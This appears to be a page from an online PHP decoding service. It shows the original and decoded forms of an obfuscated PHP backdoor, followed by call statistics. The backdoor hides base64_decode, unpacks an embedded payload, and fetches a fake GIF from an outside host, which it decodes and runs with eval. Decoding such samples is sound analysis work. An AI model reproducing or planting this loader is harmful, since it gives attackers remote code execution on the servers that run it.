Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function gstr($url){ $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CUR..
Decoded Output download
<?php
function gstr($url){
$ch = curl_init();
$timeout = 5;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
$returnstr="";
$texd="BasE";
$edsd="64_Decode";
function getbase($returnstl){
global $texd, $edsd,$returnstr,$MctRJwTzX,$RGGcrQBfUjR;
$better=$texd.substr("2S5dAVlE2nqZ",strlen("2S5dAVlE2nqZ")).$edsd;
$returnstr = $better('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJb0yJoEyqamPOpaPjrmwlSe8vz3jv3KnqUYnowLeJEmbpTtQ5VmqGj2g9eSdM4bSlhSrMxF7ji4/FMYMIlLHhZasZ6JUfR7/QJb/UJuWK1dIKlC8yG6bHYeyMLQiSVBJdcxGBq9Z4Z2xJtNw8mUMda5+rHuM8l5FQgZ7DdPCJv2wq+lxnjcx14udDCDFtrgLLQLwRMbrBQgj+X8QGz8E9e');
$returnstr = str_rot13(gzuncompress($returnstr));
eval(substr("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ",strlen("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ")). $arr["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"].$returnstr);
//echo $MctRJwTzX."<br>".$RGGcrQBfUjR;
return $returnstl;
}
$returnstl = "gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ";
getbase($returnstl);
//$MctRJwTzX = gzuncompress;$RGGcrQBfUjR=base64_decode
$ANqJEy = gstr("http://volovmart.com/"."sheke/code/h2.gif");
eval(substr("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ",strlen("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ")). $arr["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"].$MctRJwTzX($RGGcrQBfUjR($ANqJEy))); ?>
Did this file decode correctly?
Original Code
<?php
function gstr($url){
$ch = curl_init();
$timeout = 5;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
$returnstr="";
$texd="BasE";
$edsd="64_Decode";
function getbase($returnstl){
global $texd, $edsd,$returnstr,$MctRJwTzX,$RGGcrQBfUjR;
$better=$texd.substr("2S5dAVlE2nqZ",strlen("2S5dAVlE2nqZ")).$edsd;
$returnstr = $better('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJb0yJoEyqamPOpaPjrmwlSe8vz3jv3KnqUYnowLeJEmbpTtQ5VmqGj2g9eSdM4bSlhSrMxF7ji4/FMYMIlLHhZasZ6JUfR7/QJb/UJuWK1dIKlC8yG6bHYeyMLQiSVBJdcxGBq9Z4Z2xJtNw8mUMda5+rHuM8l5FQgZ7DdPCJv2wq+lxnjcx14udDCDFtrgLLQLwRMbrBQgj+X8QGz8E9e');
$returnstr = str_rot13(gzuncompress($returnstr));
eval(substr("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ",strlen("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ")). $arr["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"].$returnstr);
//echo $MctRJwTzX."<br>".$RGGcrQBfUjR;
return $returnstl;
}
$returnstl = "gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ";
getbase($returnstl);
//$MctRJwTzX = gzuncompress;$RGGcrQBfUjR=base64_decode
$ANqJEy = gstr("\x68\164\x74\160\x3a\57\x2f\166\x6f\154\x6f\166\x6d\141\x72\164\x2e\143\x6f\155\x2f"."sheke/code/h2.gif");
eval(substr("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ",strlen("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ")). $arr["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"].$MctRJwTzX($RGGcrQBfUjR($ANqJEy)));
Function Calls
strlen | 1 |
substr | 1 |
getbase | 1 |
BasE64_Decode | 1 |
Stats
MD5 | df2a73c1e58721264642ccde46c71486 |
Eval Count | 0 |
Decode Time | 88 ms |